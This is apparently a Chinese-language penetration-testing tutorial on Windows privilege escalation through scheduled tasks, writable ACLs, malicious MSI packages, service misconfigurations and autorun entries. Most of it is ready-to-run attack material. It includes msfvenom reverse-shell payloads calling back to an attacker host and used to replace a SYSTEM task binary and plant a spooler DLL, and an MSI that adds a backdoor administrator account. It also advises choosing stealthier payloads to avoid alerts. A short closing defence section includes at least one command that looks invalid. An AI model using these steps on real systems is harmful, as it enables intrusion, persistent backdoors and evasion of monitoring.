1. Windows权限提升的常见快速突破点
在渗透测试和红队评估中,Windows权限提升往往是突破内网防线的关键一步。当攻击者通过初始入侵获得普通用户权限后,如何快速获取SYSTEM或Administrator权限就成了核心任务。与Linux系统不同,Windows环境存在大量特有的权限配置缺陷和自动化任务机制,这些都可能成为权限提升的突破口。
我曾在多个企业内网渗透测试中验证过,超过60%的Windows服务器存在至少一种可被利用的权限提升漏洞。其中最常见的包括计划任务配置不当、服务权限问题、文件系统ACL漏洞以及各种自动安装机制。这些漏洞往往不需要复杂的漏洞利用代码,只需正确识别并组合系统内置工具就能完成权限提升。
2. 计划任务(Scheduled Tasks)漏洞利用详解
2.1 schtasks的权限滥用场景
Windows计划任务系统(通过schtasks管理)是最常见的权限提升载体之一。当计划任务以高权限账户(如SYSTEM)运行时,如果普通用户能够修改任务执行的程序或参数,就能直接实现权限提升。
检查系统中所有计划任务的命令:
schtasks /query /fo LIST /v关键要看几个字段:
运行用户账户:是否以SYSTEM或Administrator运行任务运行:执行的具体命令计划任务位置:相关配置文件路径
2.2 实战利用案例解析
假设我们发现一个计划任务配置如下:
任务名称: \Microsoft\Windows\Defrag\ScheduledDefrag 运行用户账户: NT AUTHORITY\SYSTEM 任务运行: C:\Program Files\Defrag\defrag.exe /C /H检查defrag.exe的权限:
icacls "C:\Program Files\Defrag\defrag.exe"如果返回结果包含BUILTIN\Users:(F),表示所有用户都有完全控制权限。这时我们可以:
- 备份原文件:
copy "C:\Program Files\Defrag\defrag.exe" "C:\temp\defrag.bak"- 替换为恶意程序:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > defrag.exe copy defrag.exe "C:\Program Files\Defrag\"- 等待任务执行或手动触发:
schtasks /run /tn "\Microsoft\Windows\Defrag\ScheduledDefrag"注意:实际操作中建议使用更隐蔽的payload,如添加用户而非直接反弹shell,避免触发安全警报。
3. 文件系统ACL配置漏洞
3.1 icacls权限分析技巧
Windows访问控制列表(ACL)配置不当是另一大常见问题。使用icacls工具可以快速分析关键目录的权限设置:
检查系统目录权限:
icacls C:\Windows\System32\*config* icacls C:\Windows\Tasks icacls C:\Windows\Temp icacls "C:\Program Files"重点关注以下权限标记:
(F):完全控制(M):修改权限(W):写入权限(OI):对象继承(CI):容器继承
3.2 可写系统目录利用实例
假设发现C:\Windows\System32\spool\drivers目录对Users组可写:
- 检查打印服务运行权限:
sc qc spooler- 创建恶意DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll > ink.dll- 复制到目标目录并设置权限:
copy ink.dll C:\Windows\System32\spool\drivers\ icacls C:\Windows\System32\spool\drivers\ink.dll /grant Everyone:F- 重启打印服务触发:
sc stop spooler && sc start spooler4. MSI安装包提权技术
4.1 msiexec的工作原理
Windows Installer服务(msiexec.exe)通常以SYSTEM权限运行,用于安装.msi格式的安装包。如果用户可以控制安装包内容或安装参数,就可能实现权限提升。
检查当前用户能否创建MSI包:
reg query HKEY_CLASSES_ROOT\.msi /s4.2 恶意MSI包构造方法
- 使用WiX工具集创建恶意MSI:
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Malicious Package" Version="0.0.1" Manufacturer="@_xpn_"> <Package InstallerVersion="200" Compressed="yes" /> <MediaTemplate /> <Feature Id="ProductFeature" Title="Main Feature" Level="1"> <ComponentGroupRef Id="ProductComponents" /> </Feature> </Product> <Fragment> <ComponentGroup Id="ProductComponents" Directory="INSTALLFOLDER"> <Component Id="ApplicationFiles"> <File Source="C:\Windows\System32\cmd.exe" /> <RegistryValue Root="HKCU" Key="Software\Microsoft\Windows\CurrentVersion\Run" Name="Backdoor" Type="string" Value="C:\Windows\System32\cmd.exe /c net user hacker P@ssw0rd /add && net localgroup administrators hacker /add" /> </Component> </ComponentGroup> </Fragment> </Wix>- 编译并执行:
candle.exe malicious.wxs light.exe malicious.wixobj msiexec /quiet /i malicious.msi5. 其他快速提权技巧汇总
5.1 服务配置漏洞
检查可修改的服务:
wmic service get name,displayname,pathname,startmode |findstr /i "auto"重点关注:
- 路径包含空格且无引号
- 可写的服务二进制路径
- 可写的服务配置文件
5.2 注册表自动运行项
检查自动启动项:
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"5.3 不安全的GUI应用
有些GUI应用会以高权限运行且不检查调用者权限,如:
- 控制面板项(.cpl文件)
- MMC管理单元
- 帮助文件(.chm)
利用方法:
control.exe C:\malicious.cpl hh.exe C:\malicious.chm6. 防御检测与缓解措施
作为系统管理员,可以采取以下措施防范此类攻击:
- 定期审计计划任务:
schtasks /query /fo CSV | ConvertFrom-CSV | Where-Object { $_.'Run As User' -match 'SYSTEM|Administrator' } | Select-Object 'TaskName','Run As User','Task To Run'- 设置严格的ACL策略:
icacls "C:\Program Files" /inheritance:r /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F- 监控MSI包安装:
New-AuditPolicy -Category "Detailed Tracking" -Subcategory "Process Creation" -SuccessEnable $true- 实施服务加固:
sc sdset spooler D:(A;;CCLCSWRPWPDTLOCRRC;;;SYSTEM)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)在实际渗透测试中,Windows权限提升往往需要组合多种技术。我曾遇到一个案例,通过计划任务找到可写目录,再通过服务配置漏洞最终获取SYSTEM权限。关键是要系统性地检查每个可能的攻击面,并理解它们之间的关联性。